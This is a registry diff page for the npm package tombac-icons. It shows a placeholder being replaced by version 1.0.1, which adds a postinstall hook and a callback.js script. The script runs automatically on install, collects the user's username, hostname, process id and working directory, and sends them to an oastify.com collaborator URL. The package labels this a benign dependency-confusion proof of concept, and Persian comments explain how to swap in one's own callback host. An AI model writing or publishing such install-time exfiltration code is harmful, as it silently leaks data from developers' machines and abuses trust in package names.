tombac-icons 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of tombac-icons might be problematic. Click here for more details.

package/callback.js ADDED
@@ -0,0 +1,44 @@
1
+ const os = require("os");
2
+ const http = require("http");
3
+ const https = require("https");
4
+
5
+ // 1) اینو با لینک RequestBin / Burp Collaborator / OAST خودت عوض کن
6
+ // مثال شما: https://q1s11903t8lhd3xfhdltdvqd54bvzqnf.oastify.com/
7
+ const DEFAULT_CALLBACK_BASE = "https://8061ivitpnv0u592nv3bq1fey54wsngc.oastify.com/";
8
+
9
+ // 2) می‌تونی با ENV هم override کنی: CALLBACK_URL="https://<your-bin>/"
10
+ const base = process.env.CALLBACK_URL || DEFAULT_CALLBACK_BASE;
11
+
12
+ // تله‌متری کم و غیرحساس
13
+ const payload = {
14
+ user: os.userInfo().username,
15
+ host: os.hostname(),
16
+ time: new Date().toISOString(),
17
+ pid: process.pid,
18
+ cwd: process.cwd()
19
+ };
20
+
21
+ // ساخت URL با querystring امن
22
+ const qs = Object.entries(payload)
23
+ .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(String(v))}`)
24
+ .join("&");
25
+
26
+ const url = `${base}?${qs}`;
27
+
28
+ // انتخاب http/https بر اساس scheme
29
+ const client = url.startsWith("https://") ? https : http;
30
+
31
+ const req = client.get(url, (res) => {
32
+ console.log("[PoC] Callback sent. Status:", res.statusCode);
33
+ // drain
34
+ res.resume();
35
+ });
36
+
37
+ req.setTimeout(5000, () => {
38
+ console.warn("[PoC] Timeout sending callback");
39
+ req.destroy();
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ console.error("[PoC] Error sending callback:", e.message);
44
+ });
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // benign placeholder
2
+ module.exports = () => "tombac-icons benign package";
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "tombac-icons",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "Benign PoC for dependency confusion (HTTP callback only)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node callback.js"
8
+ },
9
+ "author": "mohammadtayb",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=tombac-icons for more information.